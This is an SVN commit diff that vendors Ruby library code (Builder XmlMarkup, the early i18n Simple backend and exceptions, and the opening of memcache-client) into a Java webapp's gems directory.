+  #   xm.target("name"=>"compile", "option"=>"fast")
+  #                                   # => <target option="fast" name="compile"\>
+  #                                   # NOTE: order of attributes is not specified.
+  #
+  #   xm.instruct!                   # <?xml version="1.0" encoding="UTF-8"?>
+  #   xm.html {                      # <html>
+  #     xm.head {                    #   <head>
+  #       xm.title("History")        #     <title>History</title>
+  #     }                            #   </head>
+  #     xm.body {                    #   <body>
+  #       xm.comment! "HI"           #     <! -- HI -->
+  #       xm.h1("Header")            #     <h1>Header</h1>
+  #       xm.p("paragraph")          #     <p>paragraph</p>
+  #     }                            #   </body>
+  #   }                              # </html>
+  #
+  # == Notes:
+  #
+  # * The order that attributes are inserted in markup tags is
+  #   undefined.
+  #
+  # * Sometimes you wish to insert text without enclosing tags.  Use
+  #   the <tt>text!</tt> method to accomplish this.
+  #
+  #   Example:
+  #
+  #     xm.div {                          # <div>
+  #       xm.text! "line"; xm.br          #   line<br/>
+  #       xm.text! "another line"; xmbr   #    another line<br/>
+  #     }                                 # </div>
+  #
+  # * The special XML characters <, >, and & are converted to &lt;,
+  #   &gt; and &amp; automatically.  Use the <tt><<</tt> operation to
+  #   insert text without modification.
+  #
+  # * Sometimes tags use special characters not allowed in ruby
+  #   identifiers.  Use the <tt>tag!</tt> method to handle these
+  #   cases.
+  #
+  #   Example:
+  #
+  #     xml.tag!("SOAP:Envelope") { ... }
+  #
+  #   will produce ...
+  #
+  #     <SOAP:Envelope> ... </SOAP:Envelope>"
+  #
+  #   <tt>tag!</tt> will also take text and attribute arguments (after
+  #   the tag name) like normal markup methods.  (But see the next
+  #   bullet item for a better way to handle XML namespaces).
+  #
+  # * Direct support for XML namespaces is now available.  If the
+  #   first argument to a tag call is a symbol, it will be joined to
+  #   the tag to produce a namespace:tag combination.  It is easier to
+  #   show this than describe it.
+  #
+  #     xml.SOAP :Envelope do ... end
+  #
+  #   Just put a space before the colon in a namespace to produce the
+  #   right form for builder (e.g. "<tt>SOAP:Envelope</tt>" =>
+  #   "<tt>xml.SOAP :Envelope</tt>")
+  #
+  # * XmlMarkup builds the markup in any object (called a _target_)
+  #   that accepts the <tt><<</tt> method.  If no target is given,
+  #   then XmlMarkup defaults to a string target.
+  #
+  #   Examples:
+  #
+  #     xm = Builder::XmlMarkup.new
+  #     result = xm.title("yada")
+  #     # result is a string containing the markup.
+  #
+  #     buffer = ""
+  #     xm = Builder::XmlMarkup.new(buffer)
+  #     # The markup is appended to buffer (using <<)
+  #
+  #     xm = Builder::XmlMarkup.new(STDOUT)
+  #     # The markup is written to STDOUT (using <<)
+  #
+  #     xm = Builder::XmlMarkup.new
+  #     x2 = Builder::XmlMarkup.new(:target=>xm)
+  #     # Markup written to +x2+ will be send to +xm+.
+  #
+  # * Indentation is enabled by providing the number of spaces to
+  #   indent for each level as a second argument to XmlBuilder.new.
+  #   Initial indentation may be specified using a third parameter.
+  #
+  #   Example:
+  #
+  #     xm = Builder.new(:indent=>2)
+  #     # xm will produce nicely formatted and indented XML.
+  #
+  #     xm = Builder.new(:indent=>2, :margin=>4)
+  #     # xm will produce nicely formatted and indented XML with 2
+  #     # spaces per indent and an over all indentation level of 4.
+  #
+  #     builder = Builder::XmlMarkup.new(:target=>$stdout, :indent=>2)
+  #     builder.name { |b| b.first("Jim"); b.last("Weirich) }
+  #     # prints:
+  #     #     <name>
+  #     #       <first>Jim</first>
+  #     #       <last>Weirich</last>
+  #     #     </name>
+  #
+  # * The instance_eval implementation which forces self to refer to
+  #   the message receiver as self is now obsolete.  We now use normal
+  #   block calls to execute the markup block.  This means that all
+  #   markup methods must now be explicitly send to the xml builder.
+  #   For instance, instead of
+  #
+  #      xml.div { strong("text") }
+  #
+  #   you need to write:
+  #
+  #      xml.div { xml.strong("text") }
+  #
+  #   Although more verbose, the subtle change in semantics within the
+  #   block was found to be prone to error.  To make this change a
+  #   little less cumbersome, the markup block now gets the markup
+  #   object sent as an argument, allowing you to use a shorter alias
+  #   within the block.
+  #
+  #   For example:
+  #
+  #     xml_builder = Builder::XmlMarkup.new
+  #     xml_builder.div { |xml|
+  #       xml.stong("text")
+  #     }
+  #
+  class XmlMarkup < XmlBase
+
+    # Create an XML markup builder.  Parameters are specified by an
+    # option hash.
+    #
+    # :target=><em>target_object</em>::
+    #    Object receiving the markup.  +out+ must respond to the
+    #    <tt><<</tt> operator.  The default is a plain string target.
+    #
+    # :indent=><em>indentation</em>::
+    #    Number of spaces used for indentation.  The default is no
+    #    indentation and no line breaks.
+    #
+    # :margin=><em>initial_indentation_level</em>::
+    #    Amount of initial indentation (specified in levels, not
+    #    spaces).
+    #
+    # :escape_attrs=><b>OBSOLETE</em>::
+    #    The :escape_attrs option is no longer supported by builder
+    #    (and will be quietly ignored).  String attribute values are
+    #    now automatically escaped.  If you need unescaped attribute
+    #    values (perhaps you are using entities in the attribute
+    #    values), then give the value as a Symbol.  This allows much
+    #    finer control over escaping attribute values.
+    #
+    def initialize(options={})
+      indent = options[:indent] || 0
+      margin = options[:margin] || 0
+      super(indent, margin)
+      @target = options[:target] || ""
+    end
+
+    # Return the target of the builder.
+    def target!
+      @target
+    end
+
+    def comment!(comment_text)
+      _ensure_no_block block_given?
+      _special("<!-- ", " -->", comment_text, nil)
+    end
+
+    # Insert an XML declaration into the XML markup.
+    #
+    # For example:
+    #
+    #   xml.declare! :ELEMENT, :blah, "yada"
+    #       # => <!ELEMENT blah "yada">
+    def declare!(inst, *args, &block)
+      _indent
+      @target << "<!#{inst}"
+      args.each do |arg|
+        case arg
+        when String
+          @target << %{ "#{arg}"} # " WART
+        when Symbol
+          @target << " #{arg}"
+        end
+      end
+      if block_given?
+        @target << " ["
+        _newline
+        _nested_structures(block)
+        @target << "]"
+      end
+      @target << ">"
+      _newline
+    end
+
+    # Insert a processing instruction into the XML markup.  E.g.
+    #
+    # For example:
+    #
+    #    xml.instruct!
+    #        #=> <?xml version="1.0" encoding="UTF-8"?>
+    #    xml.instruct! :aaa, :bbb=>"ccc"
+    #        #=> <?aaa bbb="ccc"?>
+    #
+    def instruct!(directive_tag=:xml, attrs={})
+      _ensure_no_block block_given?
+      if directive_tag == :xml
+        a = { :version=>"1.0", :encoding=>"UTF-8" }
+        attrs = a.merge attrs
+      end
+      _special(
+      "<?#{directive_tag}",
+      "?>",
+      nil,
+      attrs,
+      [:version, :encoding, :standalone])
+    end
+
+    # Insert a CDATA section into the XML markup.
+    #
+    # For example:
+    #
+    #    xml.cdata!("text to be included in cdata")
+    #        #=> <![CDATA[text to be included in cdata]]>
+    #
+    def cdata!(text)
+      _ensure_no_block block_given?
+      _special("<![CDATA[", "]]>", text, nil)
+    end
+
+    private
+
+    # NOTE: All private methods of a builder object are prefixed when
+    # a "_" character to avoid possible conflict with XML tag names.
+
+    # Insert text directly in to the builder's target.
+    def _text(text)
+      @target << text
+    end
+
+    # Insert special instruction.
+    def _special(open, close, data=nil, attrs=nil, order=[])
+      _indent
+      @target << open
+      @target << data if data
+      _insert_attributes(attrs, order) if attrs
+      @target << close
+      _newline
+    end
+
+    # Start an XML tag.  If <tt>end_too</tt> is true, then the start
+    # tag is also the end tag (e.g.  <br/>
+    def _start_tag(sym, attrs, end_too=false)
+      @target << "<#{sym}"
+      _insert_attributes(attrs)
+      @target << "/" if end_too
+      @target << ">"
+    end
+
+    # Insert an ending tag.
+    def _end_tag(sym)
+      @target << "</#{sym}>"
+    end
+
+    # Insert the attributes (given in the hash).
+    def _insert_attributes(attrs, order=[])
+      return if attrs.nil?
+      order.each do |k|
+        v = attrs[k]
+        @target << %{ #{k}="#{_attr_value(v)}"} if v # " WART
+      end
+      attrs.each do |k, v|
+        @target << %{ #{k}="#{_attr_value(v)}"} unless order.member?(k) # " WART
+      end
+    end
+
+    def _attr_value(value)
+      case value
+      when Symbol
+        value.to_s
+      else
+        _escape_quote(value.to_s)
+      end
+    end
+
+    def _ensure_no_block(got_block)
+      if got_block
+        fail IllegalBlockError,
+        "Blocks are not allowed on XML instructions"
+      end
+    end
+
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2/builder.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2/builder.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2/builder.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,13 @@
+#!/usr/bin/env ruby
+
+#--
+# Copyright 2004 by Jim Weirich (jim at weirichhouse.org).
+# All rights reserved.
+
+# Permission is granted for use, copying, modification, distribution,
+# and distribution of modified versions of this work as long as the
+# above copyright notice is included.
+#++
+
+require 'builder/xmlmarkup'
+require 'builder/xmlevents'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/i18n-0.0.1/i18n/backend/simple.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/i18n-0.0.1/i18n/backend/simple.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/i18n-0.0.1/i18n/backend/simple.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,216 @@
+require 'yaml'
+
+module I18n
+  module Backend
+    class Simple
+      INTERPOLATION_RESERVED_KEYS = %w(scope default)
+      MATCH = /(\\\\)?\{\{([^\}]+)\}\}/
+
+      # Accepts a list of paths to translation files. Loads translations from 
+      # plain Ruby (*.rb) or YAML files (*.yml). See #load_rb and #load_yml
+      # for details.
+      def load_translations(*filenames)
+        filenames.each { |filename| load_file(filename) }
+      end
+      
+      # Stores translations for the given locale in memory. 
+      # This uses a deep merge for the translations hash, so existing
+      # translations will be overwritten by new ones only at the deepest
+      # level of the hash.
+      def store_translations(locale, data)
+        merge_translations(locale, data)
+      end
+      
+      def translate(locale, key, options = {})
+        raise InvalidLocale.new(locale) if locale.nil?
+        return key.map { |k| translate(locale, k, options) } if key.is_a? Array
+
+        reserved = :scope, :default
+        count, scope, default = options.values_at(:count, *reserved)
+        options.delete(:default)
+        values = options.reject { |name, value| reserved.include?(name) }
+
+        entry = lookup(locale, key, scope)
+        if entry.nil?
+          entry = default(locale, default, options)
+          if entry.nil?
+            raise(I18n::MissingTranslationData.new(locale, key, options))
+          end
+        end
+        entry = pluralize(locale, entry, count)
+        entry = interpolate(locale, entry, values)
+        entry
+      end
+      
+      # Acts the same as +strftime+, but returns a localized version of the 
+      # formatted date string. Takes a key from the date/time formats 
+      # translations as a format argument (<em>e.g.</em>, <tt>:short</tt> in <tt>:'date.formats'</tt>).        
+      def localize(locale, object, format = :default)
+        raise ArgumentError, "Object must be a Date, DateTime or Time object. #{object.inspect} given." unless object.respond_to?(:strftime)
+        
+        type = object.respond_to?(:sec) ? 'time' : 'date'
+        # TODO only translate these if format is a String?
+        formats = translate(locale, :"#{type}.formats")
+        format = formats[format.to_sym] if formats && formats[format.to_sym]
+        # TODO raise exception unless format found?
+        format = format.to_s.dup
+
+        # TODO only translate these if the format string is actually present
+        # TODO check which format strings are present, then bulk translate then, then replace them
+        format.gsub!(/%a/, translate(locale, :"date.abbr_day_names")[object.wday]) 
+        format.gsub!(/%A/, translate(locale, :"date.day_names")[object.wday])
+        format.gsub!(/%b/, translate(locale, :"date.abbr_month_names")[object.mon])
+        format.gsub!(/%B/, translate(locale, :"date.month_names")[object.mon])
+        format.gsub!(/%p/, translate(locale, :"time.#{object.hour < 12 ? :am : :pm}")) if object.respond_to? :hour
+        object.strftime(format)
+      end
+      
+      def initialized?
+        @initialized ||= false
+      end
+
+      def reload!
+        @initialized = false
+        @translations = nil
+      end
+
+      protected
+        def init_translations
+          load_translations(*I18n.load_path)
+          @initialized = true
+        end
+        
+        def translations
+          @translations ||= {}
+        end
+        
+        # Looks up a translation from the translations hash. Returns nil if 
+        # eiher key is nil, or locale, scope or key do not exist as a key in the
+        # nested translations hash. Splits keys or scopes containing dots
+        # into multiple keys, i.e. <tt>currency.format</tt> is regarded the same as
+        # <tt>%w(currency format)</tt>.
+        def lookup(locale, key, scope = [])
+          return unless key
+          init_translations unless initialized?
+          keys = I18n.send(:normalize_translation_keys, locale, key, scope)
+          keys.inject(translations) do |result, k|
+            if (x = result[k.to_sym]).nil?
+              return nil
+            else
+              x
+            end
+          end
+        end
+      
+        # Evaluates a default translation. 
+        # If the given default is a String it is used literally. If it is a Symbol
+        # it will be translated with the given options. If it is an Array the first
+        # translation yielded will be returned.
+        # 
+        # <em>I.e.</em>, <tt>default(locale, [:foo, 'default'])</tt> will return +default+ if 
+        # <tt>translate(locale, :foo)</tt> does not yield a result.
+        def default(locale, default, options = {})
+          case default
+            when String then default
+            when Symbol then translate locale, default, options
+            when Array  then default.each do |obj| 
+              result = default(locale, obj, options.dup) and return result
+            end and nil
+          end
+        rescue MissingTranslationData
+          nil
+        end
+
+        # Picks a translation from an array according to English pluralization
+        # rules. It will pick the first translation if count is not equal to 1
+        # and the second translation if it is equal to 1. Other backends can
+        # implement more flexible or complex pluralization rules.
+        def pluralize(locale, entry, count)
+          return entry unless entry.is_a?(Hash) and count
+          # raise InvalidPluralizationData.new(entry, count) unless entry.is_a?(Hash)
+          key = :zero if count == 0 && entry.has_key?(:zero)
+          key ||= count == 1 ? :one : :other
+          raise InvalidPluralizationData.new(entry, count) unless entry.has_key?(key)
+          entry[key]
+        end
+
+        # Interpolates values into a given string.
+        # 
+        #   interpolate "file {{file}} opened by \\{{user}}", :file => 'test.txt', :user => 'Mr. X'  
+        #   # => "file test.txt opened by {{user}}"
+        # 
+        # Note that you have to double escape the <tt>\\</tt> when you want to escape
+        # the <tt>{{...}}</tt> key in a string (once for the string and once for the
+        # interpolation).
+        def interpolate(locale, string, values = {})
+          return string unless string.is_a?(String)
+
+          if string.respond_to?(:force_encoding)
+            original_encoding = string.encoding
+            string.force_encoding(Encoding::BINARY)
+          end
+
+          result = string.gsub(MATCH) do
+            escaped, pattern, key = $1, $2, $2.to_sym
+
+            if escaped
+              pattern
+            elsif INTERPOLATION_RESERVED_KEYS.include?(pattern)
+              raise ReservedInterpolationKey.new(pattern, string)
+            elsif !values.include?(key)
+              raise MissingInterpolationArgument.new(pattern, string)
+            else
+              values[key].to_s
+            end
+          end
+
+          result.force_encoding(original_encoding) if original_encoding
+          result
+        end
+        
+        # Loads a single translations file by delegating to #load_rb or 
+        # #load_yml depending on the file extension and directly merges the
+        # data to the existing translations. Raises I18n::UnknownFileType
+        # for all other file extensions.
+        def load_file(filename)
+          type = File.extname(filename).tr('.', '').downcase
+          raise UnknownFileType.new(type, filename) unless respond_to?(:"load_#{type}")
+          data = send :"load_#{type}", filename # TODO raise a meaningful exception if this does not yield a Hash
+          data.each { |locale, d| merge_translations(locale, d) }
+        end
+        
+        # Loads a plain Ruby translations file. eval'ing the file must yield
+        # a Hash containing translation data with locales as toplevel keys.
+        def load_rb(filename)
+          eval(IO.read(filename), binding, filename)
+        end
+        
+        # Loads a YAML translations file. The data must have locales as 
+        # toplevel keys.
+        def load_yml(filename)
+          YAML::load(IO.read(filename))
+        end
+        
+        # Deep merges the given translations hash with the existing translations
+        # for the given locale
+        def merge_translations(locale, data)
+          locale = locale.to_sym
+          translations[locale] ||= {}
+          data = deep_symbolize_keys(data)
+
+          # deep_merge by Stefan Rusterholz, see http://www.ruby-forum.com/topic/142809
+          merger = proc { |key, v1, v2| Hash === v1 && Hash === v2 ? v1.merge(v2, &merger) : v2 }
+          translations[locale].merge!(data, &merger)
+        end
+        
+        # Return a new hash with all keys and nested keys converted to symbols.
+        def deep_symbolize_keys(hash)
+          hash.inject({}) { |result, (key, value)|
+            value = deep_symbolize_keys(value) if value.is_a? Hash
+            result[(key.to_sym rescue key) || key] = value
+            result
+          }
+        end
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/i18n-0.0.1/i18n/exceptions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/i18n-0.0.1/i18n/exceptions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/i18n-0.0.1/i18n/exceptions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,53 @@
+module I18n
+  class ArgumentError < ::ArgumentError; end
+  
+  class InvalidLocale < ArgumentError
+    attr_reader :locale
+    def initialize(locale)
+      @locale = locale
+      super "#{locale.inspect} is not a valid locale"
+    end
+  end
+
+  class MissingTranslationData < ArgumentError
+    attr_reader :locale, :key, :options
+    def initialize(locale, key, options)
+      @key, @locale, @options = key, locale, options
+      keys = I18n.send(:normalize_translation_keys, locale, key, options[:scope])
+      keys << 'no key' if keys.size < 2
+      super "translation missing: #{keys.join(', ')}"
+    end
+  end
+
+  class InvalidPluralizationData < ArgumentError
+    attr_reader :entry, :count
+    def initialize(entry, count)
+      @entry, @count = entry, count
+      super "translation data #{entry.inspect} can not be used with :count => #{count}"
+    end
+  end
+
+  class MissingInterpolationArgument < ArgumentError
+    attr_reader :key, :string
+    def initialize(key, string)
+      @key, @string = key, string
+      super "interpolation argument #{key} missing in #{string.inspect}"
+    end
+  end
+
+  class ReservedInterpolationKey < ArgumentError
+    attr_reader :key, :string
+    def initialize(key, string)
+      @key, @string = key, string
+      super "reserved key #{key.inspect} used in #{string.inspect}"
+    end
+  end
+  
+  class UnknownFileType < ArgumentError
+    attr_reader :type, :filename
+    def initialize(type, filename)
+      @type, @filename = type, filename
+      super "can not load translations from #{filename}, the file type #{type} is not known"
+    end
+  end
+end  
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/i18n-0.0.1/i18n.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/i18n-0.0.1/i18n.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/i18n-0.0.1/i18n.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,194 @@
+# Authors::   Matt Aimonetti (http://railsontherun.com/),
+#             Sven Fuchs (http://www.artweb-design.de),
+#             Joshua Harvey (http://www.workingwithrails.com/person/759-joshua-harvey),
+#             Saimon Moore (http://saimonmoore.net),
+#             Stephan Soller (http://www.arkanis-development.de/) 
+# Copyright:: Copyright (c) 2008 The Ruby i18n Team
+# License::   MIT
+require 'i18n/backend/simple'
+require 'i18n/exceptions'
+
+module I18n  
+  @@backend = nil
+  @@load_path = nil
+  @@default_locale = :'en'
+  @@exception_handler = :default_exception_handler
+    
+  class << self
+    # Returns the current backend. Defaults to +Backend::Simple+.
+    def backend
+      @@backend ||= Backend::Simple.new
+    end
+    
+    # Sets the current backend. Used to set a custom backend.
+    def backend=(backend) 
+      @@backend = backend
+    end
+  
+    # Returns the current default locale. Defaults to 'en'
+    def default_locale
+      @@default_locale 
+    end
+    
+    # Sets the current default locale. Used to set a custom default locale.
+    def default_locale=(locale) 
+      @@default_locale = locale 
+    end
+    
+    # Returns the current locale. Defaults to I18n.default_locale.
+    def locale
+      Thread.current[:locale] ||= default_locale
+    end
+
+    # Sets the current locale pseudo-globally, i.e. in the Thread.current hash.
+    def locale=(locale)
+      Thread.current[:locale] = locale
+    end
+    
+    # Sets the exception handler.
+    def exception_handler=(exception_handler)
+      @@exception_handler = exception_handler
+    end
+    
+    # Allow clients to register paths providing translation data sources. The
+    # backend defines acceptable sources.
+    #
+    # E.g. the provided SimpleBackend accepts a list of paths to translation
+    # files which are either named *.rb and contain plain Ruby Hashes or are
+    # named *.yml and contain YAML data. So for the SimpleBackend clients may
+    # register translation files like this:
+    #   I18n.load_path << 'path/to/locale/en.yml'
+    def load_path
+      @@load_path ||= []
+    end
+
+    # Sets the load path instance. Custom implementations are expected to
+    # behave like a Ruby Array.
+    def load_path=(load_path)
+      @@load_path = load_path
+    end
+
+    # Tells the backend to reload translations. Used in situations like the
+    # Rails development environment. Backends can implement whatever strategy
+    # is useful.
+    def reload!
+      backend.reload!
+    end
+    
+    # Translates, pluralizes and interpolates a given key using a given locale, 
+    # scope, and default, as well as interpolation values.
+    #
+    # *LOOKUP*
+    #
+    # Translation data is organized as a nested hash using the upper-level keys 
+    # as namespaces. <em>E.g.</em>, ActionView ships with the translation: 
+    # <tt>:date => {:formats => {:short => "%b %d"}}</tt>.
+    # 
+    # Translations can be looked up at any level of this hash using the key argument 
+    # and the scope option. <em>E.g.</em>, in this example <tt>I18n.t :date</tt> 
+    # returns the whole translations hash <tt>{:formats => {:short => "%b %d"}}</tt>.
+    # 
+    # Key can be either a single key or a dot-separated key (both Strings and Symbols 
+    # work). <em>E.g.</em>, the short format can be looked up using both:
+    #   I18n.t 'date.formats.short'
+    #   I18n.t :'date.formats.short'
+    # 
+    # Scope can be either a single key, a dot-separated key or an array of keys
+    # or dot-separated keys. Keys and scopes can be combined freely. So these
+    # examples will all look up the same short date format:
+    #   I18n.t 'date.formats.short'
+    #   I18n.t 'formats.short', :scope => 'date'
+    #   I18n.t 'short', :scope => 'date.formats'
+    #   I18n.t 'short', :scope => %w(date formats)
+    #
+    # *INTERPOLATION*
+    #
+    # Translations can contain interpolation variables which will be replaced by
+    # values passed to #translate as part of the options hash, with the keys matching
+    # the interpolation variable names. 
+    #
+    # <em>E.g.</em>, with a translation <tt>:foo => "foo {{bar}}"</tt> the option 
+    # value for the key +bar+ will be interpolated into the translation:
+    #   I18n.t :foo, :bar => 'baz' # => 'foo baz'
+    #
+    # *PLURALIZATION*
+    #
+    # Translation data can contain pluralized translations. Pluralized translations
+    # are arrays of singluar/plural versions of translations like <tt>['Foo', 'Foos']</tt>.
+    #
+    # Note that <tt>I18n::Backend::Simple</tt> only supports an algorithm for English 
+    # pluralization rules. Other algorithms can be supported by custom backends.
+    #
+    # This returns the singular version of a pluralized translation:
+    #   I18n.t :foo, :count => 1 # => 'Foo'
+    #
+    # These both return the plural version of a pluralized translation:
+    #   I18n.t :foo, :count => 0 # => 'Foos'
+    #   I18n.t :foo, :count => 2 # => 'Foos'
+    # 
+    # The <tt>:count</tt> option can be used both for pluralization and interpolation. 
+    # <em>E.g.</em>, with the translation 
+    # <tt>:foo => ['{{count}} foo', '{{count}} foos']</tt>, count will
+    # be interpolated to the pluralized translation:
+    #   I18n.t :foo, :count => 1 # => '1 foo'
+    #
+    # *DEFAULTS*
+    #
+    # This returns the translation for <tt>:foo</tt> or <tt>default</tt> if no translation was found:
+    #   I18n.t :foo, :default => 'default'
+    #
+    # This returns the translation for <tt>:foo</tt> or the translation for <tt>:bar</tt> if no 
+    # translation for <tt>:foo</tt> was found:
+    #   I18n.t :foo, :default => :bar
+    #
+    # Returns the translation for <tt>:foo</tt> or the translation for <tt>:bar</tt> 
+    # or <tt>default</tt> if no translations for <tt>:foo</tt> and <tt>:bar</tt> were found.
+    #   I18n.t :foo, :default => [:bar, 'default']
+    #
+    # <b>BULK LOOKUP</b>
+    #
+    # This returns an array with the translations for <tt>:foo</tt> and <tt>:bar</tt>.
+    #   I18n.t [:foo, :bar]
+    #
+    # Can be used with dot-separated nested keys:
+    #   I18n.t [:'baz.foo', :'baz.bar']
+    #
+    # Which is the same as using a scope option:
+    #   I18n.t [:foo, :bar], :scope => :baz
+    def translate(key, options = {})
+      locale = options.delete(:locale) || I18n.locale
+      backend.translate(locale, key, options)
+    rescue I18n::ArgumentError => e
+      raise e if options[:raise]
+      send(@@exception_handler, e, locale, key, options)
+    end        
+    alias :t :translate
+    
+    # Localizes certain objects, such as dates and numbers to local formatting.
+    def localize(object, options = {})
+      locale = options[:locale] || I18n.locale
+      format = options[:format] || :default
+      backend.localize(locale, object, format)
+    end
+    alias :l :localize
+    
+  protected
+    # Handles exceptions raised in the backend. All exceptions except for
+    # MissingTranslationData exceptions are re-raised. When a MissingTranslationData
+    # was caught and the option :raise is not set the handler returns an error
+    # message string containing the key/scope.
+    def default_exception_handler(exception, locale, key, options)
+      return exception.message if MissingTranslationData === exception
+      raise exception
+    end
+          
+    # Merges the given locale, key and scope into a single array of keys.
+    # Splits keys that contain dots into multiple keys. Makes sure all
+    # keys are Symbols.
+    def normalize_translation_keys(locale, key, scope)
+      keys = [locale] + Array(scope) + [key]
+      keys = keys.map { |k| k.to_s.split(/\./) }
+      keys.flatten.map { |k| k.to_sym }
+    end
+  end
+end
\ No newline at end of file


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/i18n-0.0.1/i18n.rb
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/memcache-client-1.5.1/memcache.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/memcache-client-1.5.1/memcache.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/memcache-client-1.5.1/memcache.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,849 @@
+# All original code copyright 2005, 2006, 2007 Bob Cottrell, Eric Hodel,
+# The Robot Co-op.  All rights reserved.
+#
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions
+# are met:
+#
+# 1. Redistributions of source code must retain the above copyright
+#    notice, this list of conditions and the following disclaimer.
+# 2. Redistributions in binary form must reproduce the above copyright
+#    notice, this list of conditions and the following disclaimer in the
+#    documentation and/or other materials provided with the distribution.
+# 3. Neither the names of the authors nor the names of their contributors
+#    may be used to endorse or promote products derived from this software
+#    without specific prior written permission.
+#
+# THIS SOFTWARE IS PROVIDED BY THE AUTHORS ``AS IS'' AND ANY EXPRESS
+# OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+# ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE
+# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
+# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
+# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
+# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
+# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
+# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+require 'socket'
+require 'thread'
+require 'timeout'
+require 'rubygems'
+
+class String
+
+  ##
+  # Uses the ITU-T polynomial in the CRC32 algorithm.
+
+  def crc32_ITU_T
+    n = length
+    r = 0xFFFFFFFF
+
+    n.times do |i|
+      r ^= self[i]
+      8.times do
+        if (r & 1) != 0 then
+          r = (r>>1) ^ 0xEDB88320
+        else
+          r >>= 1
+        end
+      end
+    end
+
+    r ^ 0xFFFFFFFF
+  end
+
+end
+
+##
+# A Ruby client library for memcached.
+#
+# This is intended to provide access to basic memcached functionality.  It
+# does not attempt to be complete implementation of the entire API, but it is
+# approaching a complete implementation.
+
+class MemCache
+
+  ##
+  # The version of MemCache you are using.
+
+  VERSION = '1.5.0'
+
+  ##
+  # Default options for the cache object.
+
+  DEFAULT_OPTIONS = {
+    :namespace   => nil,
+    :readonly    => false,
+    :multithread => false,
+  }
+
+  ##
+  # Default memcached port.
+
+  DEFAULT_PORT = 11211
+
+  ##
+  # Default memcached server weight.
+
+  DEFAULT_WEIGHT = 1
+
+  ##
+  # The amount of time to wait for a response from a memcached server.  If a
+  # response is not completed within this time, the connection to the server
+  # will be closed and an error will be raised.
+
+  attr_accessor :request_timeout
+
+  ##
+  # The namespace for this instance
+
+  attr_reader :namespace
+
+  ##
+  # The multithread setting for this instance
+
+  attr_reader :multithread
+
+  ##
+  # The servers this client talks to.  Play at your own peril.
+
+  attr_reader :servers
+
+  ##
+  # Accepts a list of +servers+ and a list of +opts+.  +servers+ may be
+  # omitted.  See +servers=+ for acceptable server list arguments.
+  #
+  # Valid options for +opts+ are:
+  #
+  #   [:namespace]   Prepends this value to all keys added or retrieved.
+  #   [:readonly]    Raises an exception on cache writes when true.
+  #   [:multithread] Wraps cache access in a Mutex for thread safety.
+  #
+  # Other options are ignored.
+
+  def initialize(*args)
+    servers = []
+    opts = {}
+
+    case args.length
+    when 0 then # NOP
+    when 1 then
+      arg = args.shift
+      case arg
+      when Hash   then opts = arg
+      when Array  then servers = arg
+      when String then servers = [arg]
+      else raise ArgumentError, 'first argument must be Array, Hash or String'
+      end
+    when 2 then
+      servers, opts = args
+    else
+      raise ArgumentError, "wrong number of arguments (#{args.length} for 2)"
+    end
+
+    opts = DEFAULT_OPTIONS.merge opts
+    @namespace   = opts[:namespace]
+    @readonly    = opts[:readonly]
+    @multithread = opts[:multithread]
+    @mutex       = Mutex.new if @multithread
+    @buckets     = []
+    self.servers = servers
+  end
+
+  ##
+  # Returns a string representation of the cache object.
+
+  def inspect
+    "<MemCache: %d servers, %d buckets, ns: %p, ro: %p>" %
+      [@servers.length, @buckets.length, @namespace, @readonly]
+  end
+
